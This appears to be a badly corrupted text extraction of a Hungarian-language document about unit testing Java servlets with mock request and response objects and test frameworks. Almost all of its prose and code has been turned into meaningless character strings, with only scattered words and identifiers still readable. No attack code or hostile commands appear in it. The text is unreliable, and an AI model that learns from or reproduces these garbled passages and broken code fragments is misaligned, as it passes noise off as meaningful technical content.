;7J=2 8 L<@ >78862 26 
N9:=2M ?2 : 7 87
=O >78862N8 2 P N9:3=2
P-.-/0"!B0&"-&')-R+&*&'&"G'SB-!"T'!(C-12!"(!!&)03
45 2865
68 U 863K7
I=:@ 6 3 V1 > 9N7 :3 82:149WX5
6N=9U
3 7:3 <=5;7J8
I=:@ 6 3 VN=9U ;3 7:3 <=2379: 82:149WX5
61 7983=5;7J8
I=:@ 6 3 V1 79 82:149WX5
64 > 6 387 3 863
I=:@ 6 3 VN= YN=919;379: 3 83 82:149WX5
6O6 77Q  8
I=:@ 6 3 VN=919;379:X
Z*F+-"*%!&'0-').'"(!)-.-/0"!&'!(-+B-'&"0!
1TCC!(C!"[B(!()3
45 2865
6:6 37 354 5

6\]^__`]Y

635=9 3 U5=589

6867:9:L72 94U
3979

a!"'-)&"-'-B(.*(*-'[)/3
45 2865


0123456789
3 863 8
 8 2
2 2658 8673 3 863 8  15 26   !379 352158 "68 #
012345678 2173$ 2 4 %3 33 &1 7 9 737
2 "68  9'98 385'7 9 737
2 3 863 8
012345678 4 (239 58 3 863
 )4)6 8 '1 86
)6)
"&
78" 3
26 212345678
21239
"8"
* 8673 2173 26 9 "5!7+8 " 186 " ,  7 &1 7 
"68
0123,9 -2 68$ 2 86 "& " 8 2
7 8

)6)337 2123,9 -2 "68


234567489

!"#$%&'()*+,-#%./0(1&2+34'#%!'5!061!789:;<=>>1
?@:7A!1%+B'(5!)+B!5!C&DE!)%+.F+GH#EDC!89IJ9K=>>L
M8:N8O?PO7,Q%&E#%!-+B#%#.#1!+,DDC($#%(&)1+%!1%()*I@8P8R8@=>0>

01
123456709
6553  
6665

6  6767
333
266 5
235  5
5
266
6265

6

66 7 9
 
23373
!67" 6

3
2
6 6 6
3 
23373
6265
335
#3$53 

66
3
6 656
4 5 3
5!#
3
2665

3 3
#3$5235#
%23
& 3
3

6 "
 76
3
25
37
6
6
676 
2

676!'9
6
3
(6#6656
6
3)
(6#6 5
56 56 5
535#
69
*
+*
,-+*./
. 5$
 (7353
37#3
5056

3 3
3
(63!355
2
6
75
6"550! 
76 ! 675
2
576
6 6
66
1/2
1*
%1/253
13735
*76 3'9
*
333
6
3
!6 )
576
3)

75
#6535
#66 $5
6

669
*
76 ! 676
565
66
4

5$4 4
4 6 665
6265
6266 
%75
3
3)  '
366
 !66
6
 )
333 9
*
6 
67)
5
4#3
 6
67"56
(69
*
6 "5
76 ! 67
6
 555
333
655
3
152*

/1
56&2 )35
23  9
*
76 ! 67
6

3!35 57
5475
23  
3
67265
4 6 6
 5375 73
3
152*
3 
67&65
% 
535 5'
3
(3
575473
57#3
3
4 6 6659
*
3
!6 )
6#66 $5
33
562
% $5
(77 )!4
73(3
57'
76 ! 67
6$5 6
466 55
&773 9
*

76 ! 67" 
3
2)35

&)
6 $5 73
6
546 753 5
75
!!683765
23  9
975 
6226
47
567#6 5 5
%/1
475
0
(3 5)
5
535)
6265 '

3
47#65
6!6567
3
7
76 ! 67
676 55
23  59
*
7

676 5
6
&4 6
4 
36
23  352
6
5
0:
63#5
333
" 6
% &4 6'


76 ! 67" 
23  3537
 6
656
6
" 
676 55
23   
%5353
3
35$
333 5'9
 
473
2
3

53 
 $5655
567#6 5
3
2353

676 5
6
 67

6

5!#3
23   9
53
676 576
5
"

36
46
(5 
3
562
75
5676 9
*
1276
6
)! $555
67)#3
46
6)73
5762 
3
  
45
3
65
7(6 $
5265
6
$739
*
6
5625
6
  6
(5)
 
6 5

6
537533 9
*
6
!3
6
54
73(
676 55
6
466 
5  
675
3
#33 &745

 5
6265 6
6!
7235)9
;7
3
567 35$3
"
3 52355 <
=>? @
=A*1*
>@
=,6752
,67655"
 3
23
3
333
435(7
("656 
675
3
,67255
3
6 
76
759
5656
 353 
334#
6
3
)! $555
  
6
46
A33
>@
56&2 )3
23  3573
75
6
5
3 5  
3
>? @
6
!3
56&2 )5
33359
0
012334567895

122 7475 1535 47487


25 7438 23725 827913 122335
754 4747845 23 4   474 827913 97413336 27 4 1
2213!"# 277233 $565 2
443221 2%3 1 23 2
7#5 32&25
87282539736 4 723 793
'62())( *+, -. /2538 320213152 27$312

2512 1 32&!7 977 827


2 4 #232!2
38202725$31 1 271
374 32
3474415
1535 32
348% 872642 32
8202725$31 1 4 271 32 7#7 1$558 '274436 4 2512 532
152 &31$39142
)448322 4914 27725!12
21237221 2285
2 8202725$312
9*7973439143  4 27! 323!7
 /25380:3;<4 74 32 7194 1$558 4 74 32 482
7
52 274434 4 8202725$31 32 97347 3 654% 1797914 4
/25380:3;.423 1 4 /25=38 4725122 12$3127 0 4 32
2
4184 704 9078 4827
4 62& 4
57 47478491 827723 277
72
25
74415
1535 32 34347844 4 /2538 413 872825394%093 2 7
1! 1 1 4 /25380:3;.423 13 02  4 474415
1535
85272323223 02 8525 2123&25 4 63% 85251&25 4554 &29
4
4
 471% 32223 414 4747846 454 4 32132712 891 274434
525 414 4 /25380:3;74 /25380:3;122 1 /2538;,71

012334567895

122727774756527213 1474116121 182777  


12797748 12 214344179!144723"3"32 9!3 27
1
4 2512 58
#
3213212322389 412!9! 914 82277$439 5 1
72277 54 43"5
2232
1 3213223 282189
42711397
82 91959772633435 185258 1391597
% 7 1% 7726334350 2427443 4 282147487
2546
38439738279132 2154827
726372$23728525&531&
47478 
4747849154479452412 2 74744545472512
2
"5 152 213'7'7 1223412 2 527251528
4$4
895
1 3272825233 5
7251$1252
 4611
2 2134827
2542728227$27
2 1293 252 12"112"3 124
32 25
1 2728227$27
2 12 148(27232471915 89
!43 5
2752483412 2 747745
%38 427$41597
27 1323324 2512 34 3 5
72212527534"112"342728223
44412 2 747744 12474956341344474!15
153(
3223)2 7485251223*3272137934"2329 486
3434+
,6 2-./-0 46112 213 2512 '5852512
188659!1!143 59

14$91458("4 2512 41981$27


2572$42 28 5
272$23
0 37
48431452773213275'547945412 2 747547251

012334567895

7 47 4515 251973 912


73244391449 
2232348341412151!24 !52836 6 
827

973 91  34
"#
57484!42211522
$7223724#! 235%
67914 !&' 7
4843 1532!9!25 12!3$ 535 61532!43 5
1
1328&484 7212973 9142123572'6334344(112
321323024!25 12!27227237 252429773 336)74%
78491947722315
74!!4 
85 254 5 12!3
41597144391 973472723223394 5547 2!752
*2!2! 7 4732132712
0
13213
)2
132132!91959738 12!31(2323543213 1397
45
73!2 919!4+
,)32132725  1397
827723373!2 652
84##93$1 84 3&14%
4527
22743213 1397
43
-0
7(584##9454 7(23432132725  1397
13!63!993
$6
45441 842
89149
4914&).2324511423398 434
5 407#1285 4.232451398 43442
132132252!979193
1!4'61'27723255
8 5(23234321322!2 85
34'2%
72131474334.232451415973614'272131 22474334/0,%21
2!34159736)3213 1397
43271323274
89147%
47849114717
25 !891 76422
84##9441!84##48277
1485287324 !4.23245173!2 443213 1397
4346%
3 84361451 6573!22
'9732)432!9(72!211434%
53525384 97411654722312(7+0
!213213483525
27784 3213!21454
32132
732 1397
474#95$7
254 139%
7
5
795 1'5
2474#9527132
3213 1397
3&4
2
3213

53285
32
1 84 1397
4474#95


012334567895

62213172373291423245147433

 6395432131397
2717323731 4823!614 32"272#31
27$
4%&08 5!25823!61'143213"(5
325297$4545
525252827)734794532(4511$32132755277* 3+(
22!85
221 927
2122712 1,2
32(21 !531$

2
 427232157 (3273!65(4
( 11431 3254!#6( 1-
141 2327258.(272335
3
 *
/41597#6 (3272234 91*448322$52882"27270
5
223#2712$823 7
25722301(45( 114"2#325 4 -
4*53127
3$931
,235 312+31(27" 
2723#2
 "2#2133$ (3272723213
4!2821432135*448322 35281(251345147824!5 $
41597#627
2332425*44832223$823 7
25722301(45
6#4"!+391577"633435 750*4483222723245147433235-
5
25823223#$'14"27277(255 2
6#"6391 5" 69' 3765'5" 6-
43 58$827
5252(2932139:


012334567895

620
13213225297914232451123127

43697 14483227124232!!4772"23121#4827
23
!282143213227332
12 $7415 12739$75 %
0&4872'()*3213123(+,-.5
2#48  $741144
'/044832223
1234563789:;<=7>5<?7@3AB8CD7AE65F@7GH=38A<5I7J7
7777A3@AK5L87M7NO@A3LPQ3AR65836AOCSA3@AK5L8TUL3SDV7
W
7777777777
X4432132271.732#4$-63341164$43Y 63343"43652
3213$1Z
397
+*213 72#[26*213 72,#4
4$\23"2343$112123 1+*213
]$\2^3,
62_0
1321322!85
52474423245147433

)5329^ 13213+`4^361,
'44474ab247478491$3213271255
25272"234`4^Z
361+4^"2,32827#4827
"43$5
22325!124 5329^ 1
2
132132-6334391942
1321327725 42
21$\2368$

012334567895

27
21 813 2 528 27725 4 2368 33 27
21 41
74343  2512 4 82 !272725 2
"338 2368 4739 #

3213271" !531  $4361 2512 !531 3674519 4 


4 32132
725 27282 %12&723 0'( ) 4 &47*19 1 535225 !6354 +3252
8 2368 1 4 532 9*1 321322 (9 4 $4361 5
145 7411
4 2 &47*19 1 35
72 21 %&4
4  54
5 27) 5
22325 27
725 23" 12 #31 &27 1 25122523  8 3213327 277253325
366 277255 4 7237613 3519 3 3454*3 2132593 13 
 2232512 01
132823 2!597 4827
98 !72 852513
41597, $4361 2232512$4361 532 9*1 867 $4361 8539
827
23 4 &232 94 7761397,
-62./0.$4361 01
1328 !27#31

1272#312 2
12 14 4 4 !7243 277 4 82 !2727 27
2 89175 
4!61 !27"7237 4 230 51 1 4 $2 2512"25 44322125
!63&4 1&2 2125
752 4 3213 21232 4&27 33 4 3213 21232 4 12&2
7475 !6354 23 2
13 12971 4 41597436 5" 93 4 4159743
21232 1#3136 74&2325 3 72 231 &45 3213 !633435 #5,
/ $4361 3213 21232 1397
43 41597&4 827
2 72&7231213$412
4 12&723 82 %93372&723:2;6213 93372&723:21512 93372115
72&723$5! 72&723$532<3 ) '11213$412 4 '78 82 %84 2$5
32<3 '1=32 ) 1 4 -7321213$412 4 -732 82 2368454 27
72512 %-732$ 45 -732$5! 93372&723:2;6213 93372&723:2
1512 ) 4823 35
72 2125 12&72353 &4
!73253 !6334365 4
>247478491 835
?94
895
1 '@53 3213 2123223 4159765 48 2
$4361 3213 1
72323 41597 72&72312137632 844511*7 !633436

012334567895

2232512 7251122 474 23225 4  4 3213 522


8525 212325 44 4 45 2
 5! 52" 3213 2123 4 22
2#5974365 25 5!$% 25 5!$% &1 3213 5!$% 823'6143
(4554 823'61 4827
2 4 7251 7475 #6354 $25$% 25$%%
84) 7&32 4 2

)2368 3 4 2772 3272*3233 122 1
27232 4+17'4 72#63343)9 4 122 747 823'6143 4 122
7475 $123,$% 3213$% 324- .5$%% 0
.247478491 #65+')954
722352 63'43914 4 122 &1 4 7251 7475 1 827
223 4 2512
12*31&&27 2772523/5 122 747 63'4391 27725&1&2 4 '
 3 4 3213$% 823'614 277 *565 4 7251 747 9741 27725&1&2
2 33 45 4 25$% 823'61
09827
 #6334391 8' 3 97413)6 4 122 7475 8525&25
3272*325/5 277 5&95
8 52513 1 4+2 2 8+43 25123 41597
36 4 2977*39143 5&/ 82 22 4 21232 32725 77454345 4 44+361
5 521 2')4 &23 27 &1 4 53252325 27&23  682539+')4 #/
1&27 2
&2 2'3 182323 0987
25 )44 2512 1 3272*3/5
4159743 25 4 1397
2373 )27  
4 474827
1397
528 34797
43' 0552 &3 4 72236 4
55+1 2
)4 #9)7 4 +741143 27
25 4

474827
 )4 #9)7'7 2
&2 2'3 4159765
071 7&&1&53 8917)6 4 82#2727 27
2 4 44+361 )4 #9)7)437 8&3 72231&
456 4
4 38+43 7 849)94 8917)6 4
+&73345 4 32132725
.247478491 900:;<=7 8494  271 82 791 43&5
4
125 2
)4 32132725 .247478491 2123&5 )'7 3272*325 277
48 761 85654 &1 )4 27
#74791 4 933&397'5 191745'
)4 #9)76 +4+361+2 +88 51+2+ +88 5133+7253
+88 5175 412+3)3)4 )653 $ 433'7 #/ 827
 2'3
41597)6% 06395 8' 1*316 4 =+5#=.287 5#69+'1 977895
37
2
>4 8' 1*345 44)6 474827
2512 5#69+'1 97
7895
93 4 8525 8' 1*391 2733 82531/ 27 43 47487
25
32)213&1127 7 2
9368 63'3447 2&1*31/  #9)7 34
3478945 1 *)6 2 82)2
&1&53  
 &1 8&3 8' 1*333
?)6 2 4 232 2)2
&13 4 .24 2)2
&1 272)&2 44 4 @.2
4 A 223" 1 63956
04872B5CB44+361 127232 2977*3914 2 8+43 25122
DEFGHIFJK
LLDEFGHIFJMNOPFKQFGHIFJRFSTGFUJVGDWEFGHIFJMNOPFK
LLDEFGHIFJMUIOEEK
LLLLVGXYOZOU[FYUOUJ\EYEFGHFGYQFGHIFJ]FEJRFSTGFUJVG
LLDWEFGHIFJMUIOEEK
LL5DTNTJMZOGOPK
LLLLDZOGOPMNOPFKZOGOP^DWZOGOPMNOPFK

012334567895

    !


!
!

"#$ !
%
 &%'&%%&&&"#$
!%
!
( )28* +,3272-./*2--27*4*8011-22227*72323*4424853222+52+*5235+23*826417
589
:*+;5<86629=801*977;895
>45*1-98;1*87
25*1-22?723*>2@26
-51*347973430/*43;7
82641@6+*4*1-22?723*52?53/*51*4-*4-3*884728253970*;1-397
*327@21*52?539
0-6395*826*+277*4158*2552+*4*1-22?72352+*4-*627*88539@93/*3;6
*887
25*+5251
34391924*3,7312*>2*4*+;535522/*827
23*4*+,?23+2-.*+01*12<85897A
0B48472C(9D9CE4=361*1-22?7232+*>2977F3914*G;8=43*22511-22>2
 
"$% !
!"$% !
! 
 
"#$ !
!"#$ !
! 
%
 &%'&%%&&&"#$
!%
!
:-*977;895
>45*892*?4554+*87
25*>2@26
-512+/*327
2--H+*2-3*4*3,>>8*341;570
275I
J6
45K6
*12<8589734365+*123J4*51*3242L;M5*8230161;+43/*12*2-2+*88892;5
4*1-22?22*;7147;5*<6354+/*F6
*27528+*4*1-22?22*51*4*E4=361*88478=83*;>@2+368;+43
819*:*321-3*<H66?55
2+>25*3213NNNOP*457195
;1F3@6+*4*1-22?272323*O?46
*891
1-22?22*;71478*;>@2+368;3P/*341-597@6+*4-3/*84@1*27725.28--H+*4*1-;+;33*807
1;5*4-*4112231OP/*4112230Q6471OP*8230161;++47*?46
*4*<487OP*8230161147*387
>93*@27-H5+9*:*E4=361*22511-22>25*72323.156*?45*885125*3213NNNOP*82307
1613;-*>2685NNNOP*51*251NNNOP*8230161;+43*12<8589758/*4827
2+*=14+*4-
41;33*321-3*<H66?55
*27.33*O6395P*<6354+*729*O0875+2--H5+*?811-49*:*123J4*51
3242L;M5*885125*321-3*8230161*27.33*72<63*29419167*4*1-22?22*;7147;59P*:
>2685NNNOR2>S2Q6213*332S2Q6213P*8230161*4424853222*26
*E4=361*;>@2+7

012334567895

368 483297734365435
722115282272725 4827
5

7251747563 8273343213726354321!363955
1!5"
354725174756372#441!227475528734 185"
2527725!1122125726333$ 27443449741!27725!1225#$
%4&3612
'(
)23685221!37393)441341!22747
79)954 84)472633311!43472517474'531
748433
4*232!99579343)6+
,62- .-%4&361321!823/6163343919547
48434

%4&361"4541!59743)6489821!338'7&3)236843#'6"
7614433489)945$0!22
1!2&1441!227475732!
89172517475127232%141!227478'7&3)2368
412115 02723%532(314''2 &50!241!59743/441232'#$ 4
3213#$14324345#$823/6145#52841!59743)647251747
"225 8233335677$572517475141!59743/44266213
#25$ 21'512#25$711!22!28)2368732! 827
24
*232!2+
266213 04)9344''21!397
484821!33
933'02723:2662131!397
/71!984!
;7347945 4 25#$ 823/6145
41!597)6 
29773164321!31
'4483223 1413#2$3<95
823/"
6114725272! 4855&144
"
895
1 1 )236845  2!2 4
321!3271'4483225242977391931!7"
97)9+123:2832=> 211#$ 123:2832"
913<482#$ 123:2832212#$ 123?23#$
21'512 0!4821!33933'02723:21'5121!39"
7
2
'795
4
&5 04)93 44''2 1!397
 48 4
821!3302723%51!397
/71!9"
84!@223123!313 
5&47"
!97/'448322234)68241!272352

012334567895

2 87577415974325973761
8236112353448232!"#123$2%723&
'482!"
$2%723(5323) 42 '2823*27+%237257#26,
45-&
,
732.+5141597434.4%4173/
05,,23$2%723(5323!"82361%114&
3132
12115 /2512%9734374589 452723*%
321!504797.4"482,133 .23683
/3213,,%5
254191185
4159743.6#84.27725*23.434&
347893
'582,2,
17232341454,2$2%723&532132713%,*
22131454,2$2%7231397
7
048723 43(4036112%723321321231397
!1723"
5555
555556789:;5<=:>58?@:AB=@C7DE F?8G?H7?ID5J?8G?H7?IDK
5555L
55555555MJ?8G?H7?IDNO>>POQOR?D?QEST7A;D:=ASU5S9=@=7DSKV
5555W
55556789:;5<=:>5D?IDB=@C7DEK
5555L
55555555XYOAO@?QZ?Q<9?D5I?Q<9?D5[5A?J5YOAO@?QZ?Q<9?DEKV
55555555DQ\L
5555555555554I?Q<9?DN6Q=;?IIG?H7?IDEQ?H7?IDU5Q?I6=AI?KV
55555555W;OD;]E^_;?6D:=A5?_K
55555555L
555555555555`TO:9ES^_;?6D:=A5=;;7Q?>a5S5b
5?_N@?DY?IIO@?EKKV
55555555W
5555555cOII?QDdO9I?ESZ?II:=A5:I5?_:ID5\?DSU5
55555555Q?H7?IDN:IG?H7?ID?>Z?II:=Ae>fO9:>EKKV
5555W
55556789:;5<=:>5?A>B=@C7DEgF?8G?I6=AI?5D]?G?I6=AI?K
5555L
55555555DQ\5L


012334567895

   


  ! "# $%&
$'(%")   *$$* )+ ,+
- "##&
.$  $/  ! -0"1#-2%"#&
3$'(%")4$  $%5)+ )1)+ $/ #&
6 ** "'7*/ 7# 8
$-$"
9 $.$:-*-0"##-"
:-.'2';'+ %+ 7#&
6
6

<7 =251>?7@47?5>4>A4B?33>B4C48D32C>E41F597E43G6AH>4>ADCD1>I2977J3919C4K
L297 7J3G6A>4>ADCD1>B4C48D32CD3H>G2725>2123I25>M65N3=?5>B4C48D32C3>7?O?63
DC3DAC2K
P Q>321F3>MROOSD5
I25>7 D3C2E?FF6A>4>AJS953>1F2CS72323K
T U2OEJSG 6A>4>321F32725@V>823W@613K
X Y4> I9C8=>A=SD327>A2723A2F=AH>4AA?C>4>321F3>1=A2C32725>Z861F9G>A2F275R5A[K
\ 07 725VC=FFRA>4>1F2CS2C>?7@47=>AJS953>63WE43913K>]2725>2123I25>4>A=G2725^
3A2FD1>M65AN=W3W7>27S9CG6AH>E?O
>DCSD5
32725J312>4>1211=?5^3K
_ QF>25@```Z[>A7 =251>?7@47=>MROOSD5
>2O
23725>B4C48D32C2>4>A4B?33>S9741F
Z34C347?8H>S9741FAW@H>1R3=HKKK[
3 Q>A7 =251>?7@47?5>27725VC=FE23GRA>4>A4B?33>34C347843K>]2725>2123I25>2O

aUbH>48=52A>34C34784F5=>A277>2O
>C21B?512>34O?3H>48=52A>4F>DC3DA2>c>A277
72O
25K>ZQF>aUb>M27@?7O?F91>3dII>6341J391IW7>977H>3dII>72E23V1DO>=1>S45K[
Q>321F32A>M63343919C4>AD3>72E23V1DO>=1>AJ597A?F=AK>e63343E43G6A>2O
>891=A>1F^
2CS723>M?C89G9I45H>S4O
>]f5=3>321F3I2>9O
4FS4>ZG2725>B=774543I45>4>]f5=3>T^
21>528>398?O43?33[K>gF2CS723AD53>M63343S4>E41F597565A>A277>4>3272BJ3233>C2@=^
C2N3?C>1F2CS72323>82O4@S4>52A=>4>321F3>?1F397
65A>327G21>52SD3K>Q>S9741F>aUb
M?C89368hH>@2>4>i4N361>?7@479CW7>723d73E23R5A>2O
>`71>M9G73>E?FF9H>JO
>A=82523
E387>1FdS2O>721FK>U=6395>27E27
2F3RA>4>j2I474A4784F91>O
dA2CDI2>4>723d73d33
`17^3>4>ADCD1>4>8=>2123R5AI25>4>AdS23A2FVADBB25>5DF>A=k
0`48B72l KXKli4N361>1F2CS723>321F3>M63343914>Z >1?C[
/m*mn1n1.$:9;% $o
%!%-p-/ $07-$:$-$:-9 $.$:q7!*
$/$-7

012334567895

27
439194415742285
343478442
112131314
4
112285
21235427
372919318252324821
23!5252
4212354232"##255$
%62& '&(4)361127233213!52285
2451"25

*445)1174
+232451477,633434-.,3/%01427""3277
21325!52
845,!55
27$
0248#72& 0&(4)3613213,63343914,633434347478491
,893945
444456789:4;<=<9:4>?9@4A=9BCD<E9BFGH4=EF;I4J
44444444K6B9<L<MN<69LOM;<P6BBMELE6BC;69<MCIIQ
4444R
,2535!72977343364(4)361#448322348"72
3272"
155)1474#327282233322977391437223"11597$
ST #4483227U#4485V3
WX5,69)1,93745827
52522)4)361##232148524)7411
#434527772552Y32,59743454U)4)361)5,V)$Z)4)361323
ST #44832123127
 3213 45 4 82,2727" 2512 973 977391947
.
1328123*#23
-1
[7
25482523234432132285
22374#3278223342121
8-\\1
85254)34825232-4#)1744122747
87
2513!72787
25#448323977321
]6152512
]61525125283213474784914528,7
484315329)1
474784914822542123252
^247478491.2312746

012334567895

3 843973457223 23251328343432797734511
27
2539 75!32872232!
 !48 "5
397#4!
4$
72232!
47478491$% 682539"4!
#98484 238252327223
74232544 2328252%12712 39732$%2#987
255
27&
 232#2977343"3213214#43"25%1242321 7!9734391 43
5
'34(
)63 84361 %391$732 9125%127223321$ !
1*1!
2123582!"#974732 543282349 13 334515318425
398 !43 33$%2#987
25*7147478491382!36%5
)+2132123263343914 %3916395, %3916395726334344953
3213223$4827
27863439111312$272572!-.53/+213012
 3 43398 !43
)33 13442741597"43$ !
85%256!
45434 !32823
41597442597.562343287237312$485%2543415974$
4 !453973$ !
52825!252*75#2"425%12#25
)63 843613272317441318252321221 73$4 41472
47849133272323*!72!2127
2
),2741597"8252%18253$ ! $ !25%12#252741597"43
 4365732$84%%2597436$ !
827
 232587
25
8&27232234343!202745! 743625%12*58&%13
)62231!235
'3$ !
4!2##2"43172373211*32977343"$
 !
95
63 71"4748255
4!
82%%!4% 33%9368!2"33431 5
82!425%120242"#98 72373232$131*825232
7 !97 $321322%85
282!3253232
)63 843612"2325%12!
27125%12521152277
7255202382! 7%914%"%(
2"232%285
2432813152 7
4843938 5
212354 883 13#2#2436$ !
282!492#472
447849134112"7212%12$84%432827977391949!23
4!
6747478491 12!31!27
:76%1 5!
27%7%242"233$ !
33532973 91
; 534#12&2582!72234%52!
2213$4827
37*!!25425%2
12!
2742"233$14'2"31727$4 72 4$84%
2713432823
)627/<=*2523*7%11221/1232725 %39121235$588398 !4391
)> 843$5511*1!9334%43#914
)898 176!5$4827
12!38659543

012334567895

212343423231821986544725
2782124144
13761!67422"13
7213#422$3%&73' 23732(91954
8252324&232)*
'+23)448322524824914',33271)14542352&3277
8245'
-'./0.6$2/2045428253%44832229773914'01&5"3
(4159736548(223233765"4&454251252'0&2741&5
397116
4545425&73
97153253227439713'
3'42827)977391954824914',334682432827)977391954
531825233'0&2723254534745232451453"3(41597%
48346615"4323376539843'
7'0
1)88&27232448322524824914'
'93213122597914444832252429773914'
23234&232)297739147(36732*
4472: ' '
;43214 +44832 93
.6$2/204542".6&215 72*<<<&4<7<1&5<382=3<365
8253 8&276
4545412&225
&73%
!67421 +77./0 >>>>>
!67 ,5&2 53 !67?72*@25380=3A,$23<
67'=87
,5&2 53 !67?72*@25380=3A/537<
67'=87
,5&2 53 !67?72*@25380=3A.2&2<
67'=87
,5&2 53 !67?72*@25380=3A471<
67'=87
+13"67 $351 $(&23(243"?72134$(&2*><13<>
4$31
0"84753$4"B2$2531*28474211
35
0227429773914785252$2527725)4251241&5443"
39431(4&9739131727472(42
79718917434482
82(&4445347478491348732(444#472"43125
7263343446533213223'644391122124321325284891
15527277432823(4411221&7348253891147'0525
212325225232327429773332847$8212263954#227272325
27(23)172373(23)411211221328&21'

012334567895

725174732132712
7251747321327123179777251747743213271248
4827797743954277251214725174712439195427
72512182
412274745545114!"549741483
472512739747945#$%5
252182791432213&54814!51
'72(32527125
21$0
13213219818279173245
45)27&723321325329*+13213255*1!272577454345$,223145
-272568.43189132132)633439194222532132123232212
872825397914!2725319)/3915
27$'72(25122522233
40(325470532)4*234812/3127'72(47+77223!441*32728223
4159751114)271433488659*+$5458525212325
52&527782/5654823+614348232527
2&54&779)27$
14554&72382791547467+5
25218279185379674
'72(%52
487
45*184341597423+74838227725
5&5$055212/3127"55
25)27/323!&127223!&45329
*+11)27&7233213!2523$ 725174752742
13213$03311981
82791/597'72(2535
73)913#4834'7212272/3233
867!4139843'7653482
115329*+13213223121
2275$%4'7653251239741333682312/31277223823+6
14341558+5/539843!444)612728220485253#
3213271332131225*94312)59743655329*+13213#5%,
8252323139843!44638439743+661545329743+#41597
43+53251227$
0
13213
72517470
17)65*5971321327123"7223114+'72(
253'7653$
'76533272/3122
1282
48+"5
3943277*14723"7325&5
)7653 $ $ $19*4838227745654)/3+541$03'741:22721
2352
12889179184!4!84)9!751;<,4
;
445**1473223!&82$063954)918(87)9!71/312195
4159743!64"5
3945721397
43$64157+454=253331
1397
43277/56584!443)633435$,2231454)61450>
'741#4
443221)27&72325)633435/
7223145$2
1321323
3
/3!&)27
43213823+61527725&47487
25977/391
27
2113$3213823+614543213212322527
225227482

1841397
4<213441272198433!4$3213)&5
25282345)
89*+431)823&54)&5
)2!72*22733$,2231453"5)89
*+31824572/91344
10:3983481&121$
0(4872? $@$?%2345)89*+824919548+!44'7633213
2123)&5
2
ABCDEFGCDHIJKEJLMNOBCDEPJDPDQKKLDCGPEL
PRSJTOUJDDQCVWNOXXYZ[[\O]^

012334567895

 !
"#$76%3#&25'1(2&#1288%7
25#8)'*5#528#+*&793*((4#4#72,231-.21#/4&48-32&2+
520-3#-1#-&3-+-31#"8%3#82.4'65+#4(3#+%#2*.34#4&5%#4(#511(2143-15-71#633#%1
,41(597,4336+#4#82.1(*+*33#1237/89#-1#324&:*;589#823)'61*+431#<73479=45
4#1237/89>=45#,*((6+#7-3&2#4(#%'?(43?#*=32+368*3#8@%82&9A#48%3#4#324&>
:*;589>=45#729774365+#-1#4#&222&25B%9393#5677>&4#9774336+#82(6395#4#1(28-3.
C33?
2271(4=4'4391#"#321(3#+-1(723#8@213D6%39#*1(397
#2*.34#511(2#4#321(3#21232%5>
3+23A#48%#2.
#9734765+#'22%5%973#*1(397
#8@213D6%3#721(9&84(*333491#"#&25'1(2&
84.4#'22%5%97#2.
#$&482;*&+D6%32>3A#48%#34&34784(#321(3#21232+23#8@213E412
*1(397
*+439#4827
2+#398*.4339+#+F755=5(?#34/61G#321(327-13#%1H#41(%5+&*5
321(327-1A#227,41(597)%#227F723#321(327-13A#13=1#1#"#223721(3-1#47433#1(F+1-.
045#04748%7
25#.&42%+61#321(3#263343)#47+4784(91#7-3&2,*(919&4A#-1#4554+
,41(597439&41#D(2&25B1-&2#4#$76%3#34&34784(#2.
#"6I#47+4784(913A#4827
#72>
26334334#4#321(32+23#843'#8634334#4#4(#2&2'8-5
2+231#0,,2(#4#723573,23?#D48>
/72@213I6552&#8J87#29373#+277#227F74&565+1#0552+#4#+)'34#4#+5023+2(?H
0J48/72K 1L1K"#$76%3#.&42%+61#321(3#263343)#47+4784(91954+#+)'34
MNOPQRSTUMVWURXTUYZUO[
\]^_`aabcdefcgh
^]bhi_]^Tjkffa_llmmmneogpqndg]lrsstl]^]bj
^]bhi_ubvchfTjkffa_llmmmnocwcfebaxc]efqinhqflrssyl
ubvchfj
zbe{gvfTjepigbvfqj
dxqefcgh|g]abqfqTjifexf}qif~xgdqiiq€qhfj
mcofkTj‚ssƒjkqcwkfTj‚ssƒj„

\]^_…dxcaf„
MW\†‡|ˆ`}`‡
Q S
RVX SQRVV‰RVSQRŠS‹ŒRVSQRŠS‹ŒR

Q SRŒŒQ RVŒQ R‰RŒŽ

Mz SRRS‰RSRRRR


SR‘SS’‘SS’TRŠ‘SS’Ž
 R‘SS’V “”RŠŒQ R‰RŒŽ

WR•RSVS‰RR‘SS’Ž
!

––[
\l]^_…dxcaf„
z
\ubvchf_}qif—qivbfˆciabe{mcofkTj‚ssƒjkqcwkfTj‚ssƒj
˜l„

012334567895

 
 !"##$%&

'( 4))*321+3*,-1+723*27.5/039141
2 3*421+3*,-1+7 23*5)(2,36841
3+*6 7*21*1583*455
.1+58*,277*829.18-3275.*4*829:2727;*627<21*5)(2,368847
4=95
*321+3*,-1+723>5,*?451*@.6395*27,-1+03233>,*4*829:2727;*321+3*:63343A
984:.,61*8B87*:9(73C*:58/0316,*72*4+*47,4784+9165,43*D9
C*=59
*2+*4*:9(7*4/(4*4+
47,4784+9165,*:;*4)74,93*6E741=F2?275G*47433*2+*4+*37H4
1*I58G.7271*E63341<
16,*4*G85(2,323C*2+6395*4*321+3*:63343A*4)74,93*:59(6,*7935.C*4827
*4*=933-8)25
72:63343(4*4*321+32,23C*84(/*829(272503.*4+*282/8-5
2,231
J84:.,61*27282,*321+327-12*4*E76.53*825/1+28827*72=231-921C*/2*1+9851*/575<
984*5/4*,277*:.9
275.1*0+*?47A(9)45*898*.532989K.A1*321+3C*48.*4*825/1+28>5,
29
>338L,M/-1-3*321+327.1*N18285>5,*,277*4*E76.3*72=23;1-92.3C*,-5
1+282<
.3C*8283*2552,*36/439)45*,277*4+*282/23.*825/1+28*.1*27,-1+0325.1*3*?2+-8<
7;,*528*(272552,*829*8M93M5*4*:27=27
2+-1*6395C*-1*4+*9774G536,*128*721+
4+55547*=27
21C*=4528*3M))*.5.K.47.+97A*8L?272323*?-92+52,1*0+*,>7M5)M+;
1+9803A9-G25*,>7M5)M+;*./2.9*3483=431*3*321+352,*8.5/25,-GG25*829*,277
?985.*2+3*4+*27;82*528*829(A157=43A*./;31*0882*4*825/1+28*82957/913*,05971
@.5/4//.9*?98565,*,277C*4809*29
*?2+-87;*.5.K.47.+97A/533*-1*=27
2125*829(2<
72531*3+*41+.5,855*123OG67*-1*4+*3248F5H567*:>99?-5
2,,27*2+3*4*G85)7-893
82957/=43(6,1*P5++65,*7-382*49
*321+3*212323*84(/*?-92++>,*27*4*,M?23,2+;
7-G-12,23Q
